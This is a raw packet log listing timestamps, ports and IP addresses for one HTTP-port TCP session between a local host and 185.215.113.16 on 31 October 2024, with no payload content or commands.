Oct 31, 2024 23:38:09.914292097 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914313078 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914324999 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914372921 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914383888 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914395094 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914407015 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914417982 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914419889 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914444923 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914458990 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914468050 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914477110 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914488077 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914506912 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914506912 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914520025 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914529085 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914530993 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914542913 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914555073 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914561033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914573908 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914575100 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914587021 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914594889 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914598942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914611101 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914624929 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914635897 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914643049 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914665937 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914678097 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914690971 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914696932 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914729118 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914824963 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914836884 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914848089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914858103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914870024 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914885998 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914892912 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914896965 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914913893 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914921999 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914926052 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914943933 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914947987 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914953947 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914963961 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914964914 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914983988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.914994001 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.914995909 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915007114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915010929 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915019035 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915030956 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915036917 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915057898 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915066957 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915071011 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915080070 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915093899 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915101051 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915111065 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915122986 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915122986 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915146112 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915148973 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915163994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915163994 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915193081 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915206909 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915250063 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915266037 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915277004 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915287018 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915299892 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915343046 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915815115 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915826082 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915836096 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915848970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915859938 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915864944 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915877104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915888071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915894032 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915899038 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915903091 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915910006 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915926933 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915926933 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915939093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915947914 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915951014 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.915958881 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915971041 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.915998936 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916013002 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916022062 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916033030 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916043043 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916054964 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916064978 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916065931 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916078091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916100979 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916100979 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916131973 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916183949 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916193962 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916203022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916213989 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916222095 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916232109 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916241884 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916243076 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916253090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916258097 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916264057 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916275978 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916281939 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916290998 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916301966 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916309118 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916312933 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916323900 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916335106 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916353941 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916364908 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916373968 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916373968 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916380882 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916392088 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916398048 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916402102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916414022 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916424036 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916424036 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916435957 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916441917 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916446924 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916465998 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916491032 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916591883 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916608095 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916618109 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916627884 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916636944 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916641951 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916646957 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916657925 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916666985 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916668892 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916680098 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916688919 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916701078 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916724920 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916906118 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916917086 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916927099 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916954041 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916975021 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.916979074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.916990042 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.917000055 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.917011023 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.917018890 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.917030096 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.917056084 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.917304993 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.917315006 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.917325020 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.917335987 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.917350054 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.917351961 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.917363882 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.917373896 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.917382002 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.917408943 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997039080 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997103930 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997116089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997126102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997159004 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997174978 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997203112 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997215033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997242928 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997279882 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997288942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997303009 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997308969 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997308969 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997333050 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997350931 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997360945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997370005 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997380018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997389078 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997399092 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997440100 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997464895 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997476101 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997483969 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997514009 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997554064 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997561932 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997571945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997591019 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997612953 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997646093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997661114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997669935 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997680902 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997713089 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997724056 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997733116 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997740984 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997762918 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997788906 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997853041 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997864008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997872114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997886896 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997890949 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997898102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997906923 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997915983 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997916937 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997925043 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997935057 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997945070 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997950077 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997957945 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997960091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997968912 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.997971058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.997998953 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998020887 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998044968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998054981 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998063087 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998079062 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998090029 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998091936 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998097897 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998107910 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998120070 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998158932 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998176098 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998186111 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998193979 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998230934 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998271942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998291016 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998300076 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998308897 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998333931 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998336077 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998343945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998352051 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998368025 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998373032 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998379946 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998389959 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998398066 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998425007 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998495102 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998505116 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998513937 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998522997 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998533010 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998555899 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998572111 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998581886 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998589993 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998600006 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998620033 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998620033 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998620033 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998631001 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998646021 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998666048 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998671055 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998680115 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998688936 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998737097 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998837948 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998872995 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998882055 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998883963 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998922110 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998943090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998946905 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998954058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.998980999 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998989105 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.998995066 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999051094 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999125004 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999134064 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999144077 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999161005 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999174118 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999176979 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999186993 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999211073 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999233007 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999300003 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999310017 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999322891 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999331951 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999332905 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999339104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999346972 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999349117 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999365091 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999392033 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999480963 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999490976 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999499083 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999510050 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999511957 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999521017 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999537945 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999588013 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999748945 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999758959 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999768972 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999794006 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999808073 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999823093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999833107 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999840975 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999850988 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999874115 CET	49806	80	192.168.2.4	185.215.113.16
